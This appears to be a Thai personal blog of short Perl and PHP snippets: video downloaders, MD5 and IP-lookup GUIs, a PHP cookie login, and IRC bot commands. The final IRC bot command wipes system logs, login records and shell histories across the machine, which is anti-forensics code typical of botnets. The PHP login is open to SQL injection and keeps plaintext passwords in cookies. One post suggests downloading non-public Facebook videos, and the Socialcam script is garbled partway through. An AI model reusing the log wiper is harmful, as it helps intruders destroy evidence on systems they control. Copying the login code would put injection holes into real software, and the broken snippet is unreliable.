[perl] Download video from Socialcam

หัดเขียนครับ ผิดพลาดขออภัย ^^”
#!/usr/bin/perl
#########################################################################
# ░░░░░░░░░░░░▄▄░░░░░░░░░░░░░░ Copyright (c) 2012 by sornram9254.com
# ░░░░░░░░░░░█░░█░░░░░░░░░░░░░
# ░░░░░░░░░░░█░░█░░░░░░░░░░░░░ This software is open source,
# ░░░░░░░░░░█░░░█░░░░░░░░░░░░░ licensed under the GNU/GPL,v3.0
# ░░░░░░░░░█░░░░█░░░░░░░░░░░░░
# ██████▄▄█░░░░░██████▄░░░░░░░ Basically,
# ▓▓▓▓▓▓█░░░░░░░░░░░░░░█░░░░░░ this means that you're allowed to modify and
# ▓▓▓▓▓▓█░░░░░░░░░░░░░░█░░░░░░ distribute this software.
# ▓▓▓▓▓▓█░░░░░░░░░░░░░░█░░░░░░ However, if you distribute modified versions,
# ▓▓▓▓▓▓█░░░░░░░░░░░░░░█░░░░░░ you MUST also distribute the source code.
# ▓▓▓▓▓▓█░░░░░░░░░░░░░░█░░░░░░
# ▓▓▓▓▓▓█████░░░░░░░░░██░░░░░░ See http://www.gnu.org/licenses/gpl.html
# █████▀░░░░▀▀████████░░░░░░░░ for the full license.
#########################################################################
#example : ~$perl socialcam http://socialcam.com/v/z8hnY0ZJ?autostart=true#_=_
use LWP::Simple;
$ua = LWP::UserAgent->new();
chomp($file=shift);
$contents = $ua->get($file);
$found = $contents->content;
if($found =~ m/ `wget $1`;
}

[concept] Download Facebook Video (Regex)

เขียนเป็นแนวทางไว้และกัน ขี้เกียจเขียนโค้ดและ - -"
ใช้ Perl เขียนจะง่ายหน่อย ^^"

[concept] Download Facebook Video (Regex)
Ex. URL : http://www.facebook.com/video/video.php?v=3268371116768

1. View Source Code แล้วใช้ regex หา URL VDO
["highqual_src","http..."],
แล้วเขียนแยกดึง URL ที่ได้ออกมา ก็จะได้
http\u00253A\u00252F\u00252Fvideo.ak.fbcdn.net\u00252Fcfs-ak-ash4\u00252Fv\u00252F445209\u00252F884\u00252F3268371116768_39328.mp4\u00253Foh\u00253Db28a20ac9b04084fda9f730fc119affa\u002526oe\u00253D4FC3DE20\u002526__gda__\u00253D1338236448_503f420d701d9815a09f60a63046b042

2. เขียน Function Replace คำต่อไปนี้
แทนที่ \u00253A แทนด้วย :
แทนที่ \u00252F แทนด้วย /
แทนที่ \u002526 แทนด้วย &
แทนที่ \u00253F แทนด้วย ?
แทนที่ \u00253D แทนด้วย =

3. ก็จะได้เป็น
http://video.ak.fbcdn.net/cfs-ak-ash4/v/445209/884/3268371116768_39328.mp4?oh=b28a20ac9b04084fda9f730fc119affa&oe=4FC3DE20&__gda__=1338236448_503f420d701d9815a09f60a63046b042

By : Sornram9254

อ้อ เดี๋ยวอาจมีบางคนอาจบอกว่า fb มันก็มีปุ่มให้กด DL vdo อยู่แล้วนี่
อันนี้เอาไว้ใช้กับ vdo อันที่ไม่ได้เป็น public หรือ vdo ที่ดูได้แต่ไม่มีปุ่มให้กดโหลด
แต่ต้องเอาไปประยุกต์อีกนิดคือ ต้องเขียน function login facebook อีก - -"

เหมาะมากกำคนใช้ linux ถ้าใช้ windows ใช้ idm ดูดเอาก็ได้ - -"
จริงๆก็มีเว็บบริการพวกนี้อยู่แล้วเหมือนกันนะ :)

เขียนธีม wordpress เบื้องต้น

http://www.mediafire.com/?dewcie9bflz0f07  ไฟล์ธีม wp

http://digwp.com/2010/09/wordpress-3-template-hierarchy/
http://codex.wordpress.org/Template_Tags

– – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – –
อัดโดยใช้เสียงเป็นครั้งแรก ตื่นมาอัด vdo ตอนตี 3 (เพิ่งตื่น – -” ) ถ้าผิดพลาดประการใดก็ขออภัยด้วยนะครับ ^^
ปรกติผมอัดแต่แบบไม่มีเสียงพูด – -”
ลองไปโม + ศึกษากันดูนะครับ ศึกษาจากลิงค์ 2 เว็บที่ให้ไปไม่น่าจะยากเกินความสามารถครับ

ปล. อย่างที่บอกครับว่าผมเองก็หัดจาก 2 เว็บนี้เหมือนกัน ถ้่าทำสอนตั้งแต่ต้น ผมก็คงจะมึนอีกรอบแน่ๆ 55

[Perl] Bot irc – Check Who in Channel


if ($svrmsg=~m/\:(.*) 353 (.*) = \#(.*) \:(.*)/i) {
print $connect "PRIVMSG ",$channel," :\xA4\xB9\xB7\xD5\xE8\xCD\xC2\xD9\xE8\xE3\xB9\xCB\xE9\xCD\xA7\xB9\xD5\xE9 ==> $color{'T5'} $4\r\n";
}
#\xA4\xB9\xB7\xD5\xE8\xCD\xC2\xD9\xE8\xE3\xB9\xCB\xE9\xCD\xA7\xB9\xD5\xE9 = คนที่อยู่ในห้องนี้

ปล. มันมีวิธีเช็คดีกว่านี้มั้ยเนี่ย –”
/me เขียนได้เกรียนมั่กๆ -0-

[Perl] Encode & Decode MD5 : GUI

เป็นโปรแกรม Perl ตัวแรกนะครับที่ผมเขียนเป็นแบบ GUI ถ้าผิดพลาดประการใดก็ขออภัยด้วยครับ (-/\-)
ปล. ด้านล่างไม่ใช่รูปของโปรแกรมนี้นะครับ ส่วนของโปรแกรมนี้มีแค่ En&De md5 แค่นั้น 55 ^^"


#!/usr/bin/perl -w
#########################################################################
# ░░░░░░░░░░░░░░░░░░░░░░░░░░ Copyright (c) 2012 by sornram9254.com
# ░░░░░░░░░░░█░░█░░░░░░░░░░░░░
# ░░░░░░░░░░░█░░█░░░░░░░░░░░░░ This software is open source,
# ░░░░░░░░░░█░░░█░░░░░░░░░░░░░ licensed under the GNU/GPL,v3.0
# ░░░░░░░░░█░░░░█░░░░░░░░░░░░░
# ███████░░░░░██████░░░░░░░ Basically,
# ▓▓▓▓▓▓█░░░░░░░░░░░░░░█░░░░░░ this means that you're allowed to modify and
# ▓▓▓▓▓▓█░░░░░░░░░░░░░░█░░░░░░ distribute this software.
# ▓▓▓▓▓▓█░░░░░░░░░░░░░░█░░░░░░ However, if you distribute modified versions,
# ▓▓▓▓▓▓█░░░░░░░░░░░░░░█░░░░░░ you MUST also distribute the source code.
# ▓▓▓▓▓▓█░░░░░░░░░░░░░░█░░░░░░
# ▓▓▓▓▓▓█████░░░░░░░░░██░░░░░░ See http://www.gnu.org/licenses/gpl.html
# █████▀░░░░▀▀████████░░░░░░░░ for the full license.
#########################################################################
use Tk;
use LWP;
use Digest::MD5 qw(md5_hex);
$mw = new MainWindow; $mw->geometry('300x150'); $mw->title("Perl GUI");

########## Encode MD5 ##########
$en_md5 = $mw->Label(-text => “Encode MD5”)->pack;
$mw -> Entry(-textvariable => \$put_en_md5) -> pack;
$mw->Button(-text => “Gen”, -command => \&en_md5 )->pack;

sub en_md5 {
my $md5_hash = $put_en_md5;
my $md5_generated = md5_hex($md5_hash);
print “Encode MD5 : Result => $md5_generated\n”;
########## Create New Form ##########
$mw = new MainWindow; $mw->geometry(‘350×70’); $mw->title(“Encode MD5 : Result”);
$mw->Label(-text => “$put_en_md5”)->pack;
my $frm_name = $mw -> Frame() -> pack(); #New Frame
my $ent = $frm_name -> Entry(-text => $md5_generated) -> pack (-ipadx => 60,-ipady => 5);
}
########## Decode MD5 ##########
$de_md5 = $mw->Label(-text => “Decode MD5”)->pack;
$mw -> Entry(-textvariable => \$put_de_md5) -> pack;
$mw->Button(-text => “Gen”, -command => \&de_md5 )->pack;

sub de_md5 {
my $md5 = $put_de_md5;
$lwp = LWP::UserAgent->new;
$lwa = $lwp->get(‘http://md5.rednoize.com/?p&s=md5&q=’.$md5);
$hash = $lwa->content;
print “Decode MD5 : Result => $hash\n”;
########## Create New Form ##########
$mw = new MainWindow; $mw->geometry(‘350×70’); $mw->title(“Decode MD5 : Result”);
$mw->Label(-text => “$put_de_md5”)->pack;
my $frm_name = $mw -> Frame() -> pack(); #New Frame
my $ent = $frm_name -> Entry(-text => $hash) -> pack (-ipadx => 60,-ipady => 5);
}
MainLoop;

[Perl] IP Information : GUI

SS :


#!/usr//bin/perl
#########################################################################
# ░░░░░░░░░░░░▄▄░░░░░░░░░░░░░░ Copyright (c) 2012 by sornram9254.com
# ░░░░░░░░░░░█░░█░░░░░░░░░░░░░
# ░░░░░░░░░░░█░░█░░░░░░░░░░░░░ This software is open source,
# ░░░░░░░░░░█░░░█░░░░░░░░░░░░░ licensed under the GNU/GPL,v3.0
# ░░░░░░░░░█░░░░█░░░░░░░░░░░░░
# ██████▄▄█░░░░░██████▄░░░░░░░ Basically,
# ▓▓▓▓▓▓█░░░░░░░░░░░░░░█░░░░░░ this means that you're allowed to modify and
# ▓▓▓▓▓▓█░░░░░░░░░░░░░░█░░░░░░ distribute this software.
# ▓▓▓▓▓▓█░░░░░░░░░░░░░░█░░░░░░ However, if you distribute modified versions,
# ▓▓▓▓▓▓█░░░░░░░░░░░░░░█░░░░░░ you MUST also distribute the source code.
# ▓▓▓▓▓▓█░░░░░░░░░░░░░░█░░░░░░
# ▓▓▓▓▓▓█████░░░░░░░░░██░░░░░░ See http://www.gnu.org/licenses/gpl.html
# █████▀░░░░▀▀████████░░░░░░░░ for the full license.
#########################################################################
use Tk;
use LWP::Simple;
$mw = new MainWindow; $mw->title("Perl GUI :)"); $mw->geometry('200x70');
$mw->Label(-text => "IP Information")->pack;
$mw->Button(-text => "Check", -command => \&get_ip )->pack(-ipadx => 40,-ipady => 5);
sub get_ip {
my $ua = LWP::UserAgent->new();
my $contents = $ua->get('http://www.melissadata.com/lookups/iplocation.asp');
my $found = $contents->content;
while( $found =~ m/Your IP Address: (.*?)<\/span>/g ) {
$ip=$1;
print "IP : $1 \n";
$mw = new MainWindow; $mw->geometry('400x200'); $mw->title("Check IP : Result");
my $frm_name = $mw -> Frame() -> pack(); #New Frame
my $ent = $frm_name -> Entry(-text => "IP => $1") -> pack (-ipadx => 100,-ipady => 5);
#------------------------------------------------------------------------------------------------------------------------------------------
my $content = $ua->get('http://www.melissadata.com/lookups/iplocation.asp?ipaddress='.$ip)->content;
my ($isp) = ($content =~ m/ISP<\/td>(.*?) <\/b>/g);
print "ISP : $1 \n";
my ($city) = ($content =~ m/City<\/td>(.*?)<\/b>/g);
print "City : $1 \n";
my ($state) = ($content =~ m/State or Region<\/td>(.*?)<\/b>/g);
print "State or Region : $1 \n";
my ($country) = ($content =~ m/Country<\/td>(.*?)<\/b>/g);
print "Country : $1 \n";
my ($la1,$la2) = ($content =~ m/Latitude & Longitude<\/td>(.*?)  (.*?)<\/b>/g);
print "Latitude : $1 .::.::. Longitude : $2 \n";
my $ent = $frm_name -> Entry(-text => "ISP => $isp") -> pack (-ipadx => 100,-ipady => 5);
my $ent = $frm_name -> Entry(-text => "City => $city") -> pack (-ipadx => 100,-ipady => 5);
my $ent = $frm_name -> Entry(-text => "State or Region => $state") -> pack (-ipadx => 100,-ipady => 5);
my $ent = $frm_name -> Entry(-text => "Country => $country") -> pack (-ipadx => 100,-ipady => 5);
my $ent = $frm_name -> Entry(-text => "Latitude => $la1 .::. Longitude => $la2") -> pack (-ipadx => 100,-ipady => 5);
#------------------------------------------------------------------------------------------------------------------------------------------
}
}
MainLoop;

cookie + mysql [PHP]


<?
ob_start();
require_once "config.php";
//เริ่มติดต่อฐานข้อมูล
mysql_connect($host, $db_username, $db_password) or die("ติดต่อฐานข้อมูลไม่ได้");
// เลือกฐานข้อมูล
mysql_select_db($dbname) or die("เลือกฐานข้อมูลไม่ได้");
// คำสั่ง SQL และสั่งให้ทำงาน
$sql = "select * from tb_member where user_log='$username_log' and pass_log='$password_log'"; //เช็คค่าข้อมูลที่ส่งมาจากฟอร์ม
$dbquery = mysql_db_query($dbname, $sql);
// หาจำนวนเรกคอร์ดข้อมูล
$num_rows = mysql_num_rows($dbquery);
if($num_rows == 1) {
if($chk == "on") { // ถ้าติ๊กถูก Login ตลอดไป ให้ทำการสร้าง cookie
setcookie("username_log",$username_log,time()+3600*24*356);
setcookie("password_log",$password_log,time()+3600*24*356);
header("location:hxxp://vvv.webthaidd.com"); //ไปไปตามหน้าที่คุณต้องการ
} else {
header("location:hxxp://vvv.webthaidd.com"); //ไปไปตามหน้าที่คุณต้องการ
}
} else {
header("location: form_login.php"); //ไม่ถูกต้องให้กับไปหน้าเดิม
}
?>

#webthaidd

Fix Error Mounting [linux]

Fix Error Mounting [linux]



sudo ntfsfix /dev/sda?

Clear Temp [ Bot IRC with Perl ]


if ($svrmsg=~/cleartmp/) {
system 'RMDIR /S /Q %TMP%';
print $connect "PRIVMSG ",$channel," :Temp File is Cleaned\r\n";
}

Log Cleaner [ Linux ] [ Bot IRC with Perl ]

Log Cleaner [ Linux ] [ Bot IRC with Perl ]

if ($funcarg =~ /^logcleaner/) {
print $connect "PRIVMSG ",$channel," :[Log-Cleaner] : This process can be long, just wait\r\n";
system 'rm -rf /var/log/lastlog';
system 'rm -rf /var/log/wtmp';
system 'rm -rf /etc/wtmp';
system 'rm -rf /var/run/utmp';
system 'rm -rf /etc/utmp';
system 'rm -rf /var/log';
system 'rm -rf /var/logs';
system 'rm -rf /var/adm';
system 'rm -rf /var/apache/log';
system 'rm -rf /var/apache/logs';
system 'rm -rf /usr/local/apache/log';
system 'rm -rf /usr/local/apache/logs';
system 'rm -rf /root/.bash_history';
system 'rm -rf /root/.ksh_history';
print $connect "PRIVMSG ",$channel," :[Log-Cleaner] : All D3fault log erased\r\n";
sleep 1;
print $connect "PRIVMSG ",$channel," :[Log-Cleaner] : Erasing the machine log files\r\n";
system 'find / -name *.bash_history -exec rm -rf {} \;';
system 'find / -name *.bash_logout -exec rm -rf {} \;';
system 'find / -name "log*" -exec rm -rf {} \;';
system 'find / -name *.log -exec rm -rf {} \;';
sleep 1;
print $connect "PRIVMSG ",$channel," :[Log-Cleaner] : Done! All logs erased\r\n";
}